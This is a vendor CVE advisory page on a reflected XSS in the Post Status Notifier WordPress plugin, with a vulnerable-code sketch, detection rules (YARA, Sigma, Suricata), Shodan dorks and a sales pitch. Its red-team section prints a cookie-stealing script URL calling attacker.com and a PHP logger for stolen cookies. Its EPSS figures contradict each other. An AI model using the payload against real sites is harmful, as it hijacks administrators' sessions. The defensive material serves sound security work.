☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-10048

CVE-2024-10048 Cross-Site Scripting in Post status notifier
📅 PUBLISHED: 2024-10-29 08:31 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.00%
👁️
2.00% probability
50.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-10048 is a reflected Cross-Site Scripting (XSS) vulnerability affecting the Post Status Notifier WordPress plugin (both Lite and Premium versions) up to and including version 1.11.6. The flaw resides in insufficient input sanitization and output escaping of the page parameter, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to session hijacking, credential theft, or defacement within the WordPress admin context. The EPSS score is 0.0%, indicating low active exploitation likelihood, but the lack of a patch elevates risk for unhardened sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the absence of a patch means site administrators must manually apply virtual patching or disable the plugin.

CVSS Breakdown & Threat Level

  • Base Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires user interaction, but the impact is limited to low confidentiality and integrity loss. However, in a WordPress admin context, XSS can lead to privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the plugin's admin interface, where the page parameter is reflected without proper sanitization. When a user visits a crafted URL like:

/wp-admin/admin.php?page=<script>alert('XSS')</script>

The plugin echoes the page parameter directly into the HTML response without encoding, allowing script execution in the victim's browser. The attack is reflected (non-persistent), meaning the payload is not stored on the server but delivered via the URL.

Root Cause: The plugin uses $_GET['page'] without applying esc_html() or sanitize_text_field() before outputting it in the admin page title or navigation.

Vulnerable vs. Patched Code

Vulnerable Code (v1.11.6):

<?php
// In admin.php or similar
$page = $_GET['page'];
echo '<h2>' . $page . '</h2>';
?>

Patched Code (Hypothetical):

<?php
$page = sanitize_text_field($_GET['page']);
echo '<h2>' . esc_html($page) . '</h2>';
?>

The patch would use sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Post Status Notifier plugin v1.11.6 installed and activated.
  • Attacker-controlled server to host payload or use a simple XSS vector.

Exploit Steps:

  1. Craft a malicious URL:
    http://target/wp-admin/admin.php?page=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
    
  2. Send the link to an authenticated admin user via email or social engineering.
  3. When the admin clicks the link, the script executes, exfiltrating their session cookie to the attacker's server.

Example Payload (Cookie Stealer):

<script>
new Image().src='http://attacker.com/steal.php?c='+document.cookie;
</script>

Steal.php (Attacker Server):

<?php
$cookie = $_GET['c'];
file_put_contents('cookies.txt', $cookie . "\n", FILE_APPEND);
?>

Blue Team

Detection:

  • Monitor web server logs for unusual page parameter values containing <script>, onerror, or javascript:.
  • Use WAF rules to block reflected XSS patterns in query strings.

Hunting:

  • Search for page parameter in access logs with base64-encoded or obfuscated JavaScript.
  • Check for outbound connections to unknown IPs from admin browsers.

Lab Setup:

  • Deploy a WordPress instance with the vulnerable plugin in a sandboxed environment.
  • Use Burp Suite or OWASP ZAP to replay crafted requests and observe reflected payloads.

Indicators of Compromise (IOCs)

  • URL Patterns: admin.php?page=<script> or admin.php?page=%3Cscript%3E
  • Log Entries: HTTP requests to /wp-admin/admin.php with page parameter containing HTML/JS.
  • Network Traffic: Outbound HTTP requests from admin IPs to unknown domains (cookie exfiltration).
  • File Artifacts: Unusual entries in wp-content/plugins/post-status-notifier/ (if attacker uploads webshell via XSS).

Detection Engineering

YARA Rule

rule CVE_2024_10048_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Post Status Notifier plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-10048"
    strings:
        $xss1 = /page=[^&]*<script/i
        $xss2 = /page=[^&]*onerror/i
        $xss3 = /page=[^&]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS via Post Status Notifier page Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in WordPress admin.php page parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'page='
        cs-uri-query|re: '(page=[^&]*<script|page=[^&]*onerror|page=[^&]*javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of script in page names (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-10048 Reflected XSS in Post Status Notifier";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page="; http_uri;
    pcre:"/page=[^&]*(<script|onerror|javascript:)/Ui";
    sid:1000001;
    rev:1;
    reference:cve,2024-10048;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Apply virtual patching via WAF (e.g., ModSecurity rule to block page parameter containing <script>).
  3. Restrict admin access to trusted IPs only.

Long-term Fix:

  • Monitor the plugin's repository for an update. If none, consider replacing with an alternative plugin.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT Signature:

rule Valters_IT_Signature {
    meta:
        author = "Valters IT"
        description = "Digital signature for Valters IT reports"
    condition:
        true
}
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Post Status Notifier"
http.html:"post-status-notifier"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-10048/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.